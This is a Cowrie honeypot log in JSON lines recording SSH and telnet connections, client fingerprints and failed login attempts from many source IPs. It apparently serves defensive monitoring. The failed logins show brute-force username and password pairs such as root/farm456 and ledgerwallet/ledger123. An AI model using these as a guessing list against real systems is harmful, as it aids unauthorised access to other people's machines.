{"eventid":"cowrie.session.closed","duration":120.0054566860199,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:08.832942Z","src_ip":"137.184.5.188","session":"6fcc0db43257","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":42208,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd691c9f3a2b","protocol":"ssh","message":"New connection: 173.236.141.65:42208 (10.17.0.5:22) [session: dd691c9f3a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:10.986415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:10.990665Z","src_ip":"173.236.141.65","session":"dd691c9f3a2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:11.000180Z","src_ip":"173.236.141.65","session":"dd691c9f3a2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"farm456","message":"login attempt [root/farm456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:11.029610Z","src_ip":"173.236.141.65","session":"dd691c9f3a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:12.041163Z","src_ip":"173.236.141.65","session":"dd691c9f3a2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39512,"dst_ip":"159.203.135.109","dst_port":23,"session":"17754faa6586","protocol":"telnet","message":"New connection: 107.6.151.170:39512 (159.203.135.109:23) [session: 17754faa6586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:13.089357Z"}
{"eventid":"cowrie.session.closed","duration":53.390549421310425,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:34.932231Z","src_ip":"137.184.5.188","session":"f3083a137c03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.727296829223633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:44.816565Z","src_ip":"107.6.151.170","session":"17754faa6586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.227728605270386,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:59:50.967465Z","src_ip":"107.6.151.170","session":"06bb88f418fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.66.42","src_port":51510,"dst_ip":"159.203.135.109","dst_port":22,"session":"78e675f3c87d","protocol":"ssh","message":"New connection: 167.86.66.42:51510 (159.203.135.109:22) [session: 78e675f3c87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:18.651466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:18.660889Z","src_ip":"167.86.66.42","session":"78e675f3c87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:18.751912Z","src_ip":"167.86.66.42","session":"78e675f3c87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ada","password":"ada321","message":"login attempt [ada/ada321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:19.029182Z","src_ip":"167.86.66.42","session":"78e675f3c87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:20.125860Z","src_ip":"167.86.66.42","session":"78e675f3c87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":43182,"dst_ip":"10.17.0.5","dst_port":22,"session":"07d313a01fdd","protocol":"ssh","message":"New connection: 103.122.221.179:43182 (10.17.0.5:22) [session: 07d313a01fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:25.026861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:25.032252Z","src_ip":"103.122.221.179","session":"07d313a01fdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:25.296921Z","src_ip":"103.122.221.179","session":"07d313a01fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260419","message":"login attempt [root/260419] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:26.069094Z","src_ip":"103.122.221.179","session":"07d313a01fdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:27.327552Z","src_ip":"103.122.221.179","session":"07d313a01fdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":42696,"dst_ip":"10.17.0.5","dst_port":22,"session":"382aabebd1f1","protocol":"ssh","message":"New connection: 101.36.119.203:42696 (10.17.0.5:22) [session: 382aabebd1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:47.290380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:47.293854Z","src_ip":"101.36.119.203","session":"382aabebd1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:47.511134Z","src_ip":"101.36.119.203","session":"382aabebd1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":47118,"dst_ip":"10.17.0.5","dst_port":22,"session":"1622d0e548c3","protocol":"ssh","message":"New connection: 103.82.36.79:47118 (10.17.0.5:22) [session: 1622d0e548c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:48.360537Z"}
{"eventid":"cowrie.login.failed","username":"miladmim","password":"123456","message":"login attempt [miladmim/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:48.415380Z","src_ip":"101.36.119.203","session":"382aabebd1f1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:48.585324Z","src_ip":"103.82.36.79","session":"1622d0e548c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:48.781628Z","src_ip":"103.82.36.79","session":"1622d0e548c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:49.634340Z","src_ip":"101.36.119.203","session":"382aabebd1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14121975","message":"login attempt [root/14121975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:49.783965Z","src_ip":"103.82.36.79","session":"1622d0e548c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:00:51.039094Z","src_ip":"103.82.36.79","session":"1622d0e548c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.185.61","src_port":60484,"dst_ip":"10.17.0.5","dst_port":22,"session":"f40a97fdd2a2","protocol":"ssh","message":"New connection: 87.156.185.61:60484 (10.17.0.5:22) [session: f40a97fdd2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:01.764734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:01.795858Z","src_ip":"87.156.185.61","session":"f40a97fdd2a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:01.904123Z","src_ip":"87.156.185.61","session":"f40a97fdd2a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":40406,"dst_ip":"10.17.0.5","dst_port":23,"session":"93126f5c2c24","protocol":"telnet","message":"New connection: 50.62.181.92:40406 (10.17.0.5:23) [session: 93126f5c2c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:03.274419Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"228228","message":"login attempt [root/228228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:04.118023Z","src_ip":"87.156.185.61","session":"f40a97fdd2a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:05.234391Z","src_ip":"87.156.185.61","session":"f40a97fdd2a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":53896,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2b2616736b3","protocol":"ssh","message":"New connection: 162.241.33.238:53896 (159.203.135.109:22) [session: c2b2616736b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:16.212219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:16.216439Z","src_ip":"162.241.33.238","session":"c2b2616736b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:16.244181Z","src_ip":"162.241.33.238","session":"c2b2616736b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ledgerwallet","password":"ledger123","message":"login attempt [ledgerwallet/ledger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:16.320225Z","src_ip":"162.241.33.238","session":"c2b2616736b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:17.347844Z","src_ip":"162.241.33.238","session":"c2b2616736b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76754856109619,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:34.041846Z","src_ip":"50.62.181.92","session":"93126f5c2c24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":49224,"dst_ip":"10.17.0.5","dst_port":22,"session":"871989981f17","protocol":"ssh","message":"New connection: 194.36.147.215:49224 (10.17.0.5:22) [session: 871989981f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:44.937046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:44.941239Z","src_ip":"194.36.147.215","session":"871989981f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:01:45.026662Z","src_ip":"194.36.147.215","session":"871989981f17","protocol":"ssh"}
